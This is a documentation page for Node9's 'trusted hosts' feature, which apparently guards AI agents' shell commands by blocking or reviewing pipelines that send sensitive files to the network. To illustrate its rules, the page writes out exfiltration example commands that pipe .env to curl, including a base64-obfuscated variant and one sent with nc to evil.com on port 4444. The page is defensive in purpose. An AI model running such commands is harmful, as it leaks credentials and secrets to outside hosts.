Trusted Hosts · node9 documentation
Trusted Hosts
Reduce friction for known-safe network destinations without lowering your guard.
What problem does this solve?
Node9 blocks (or reviews) any shell pipeline that pipes a sensitive file to the network — for example
cat .env | curl https://api.example.com. If api.example.com is your own internal logging service or observability endpoint, that block creates constant friction. Trusted hosts let you declare destinations you control so Node9 can distinguish legitimate internal traffic from actual exfiltration attempts.How decisions change
Critical risk → ReviewDowngrade
Obfuscated pipelines like
cat .env | base64 | curl trusted-host.com are normally hard-blocked. When all sinks are trusted, the decision becomes a review — you still see an approval prompt, but the agent isn't hard-stopped.High risk → AllowDowngrade
Direct pipelines like
cat .env | curl trusted-host.com are normally routed for review. When all sinks are trusted, the decision becomes allow — no prompt needed.All-or-nothing rule
If a pipeline has multiple network sinks and even one is untrusted, the original decision stands.
cat .env | curl trusted.com | nc evil.com 4444 stays blocked.Commands
Managing trusted hosts
# Add an exact FQDN node9 trust add api.mycompany.com # Add a wildcard — matches any subdomain (but NOT the bare domain itself) node9 trust add '*.logs.mycompany.com' # Full URLs are automatically normalized to bare FQDNs node9 trust add https://api.mycompany.com/v1/ingest # List all trusted hosts node9 trust list # Remove a host node9 trust remove api.mycompany.com
Matching rules
Exact match
api.mycompany.com matches only that exact hostname. Subdomains like v2.api.mycompany.com are not matched.Wildcard match
*.mycompany.com matches api.mycompany.com and sub.api.mycompany.com, but not bare mycompany.com — a wildcard requires at least one subdomain label.Security guarantees
CLI-only — AI cannot modify this list
Trusted hosts are stored in
~/.node9/trusted-hosts.json (mode 0600). The list can only be modified via the node9 trust CLI commands. There is no MCP tool or API endpoint that can add or remove entries — a compromised agent cannot whitelist its own exfiltration target.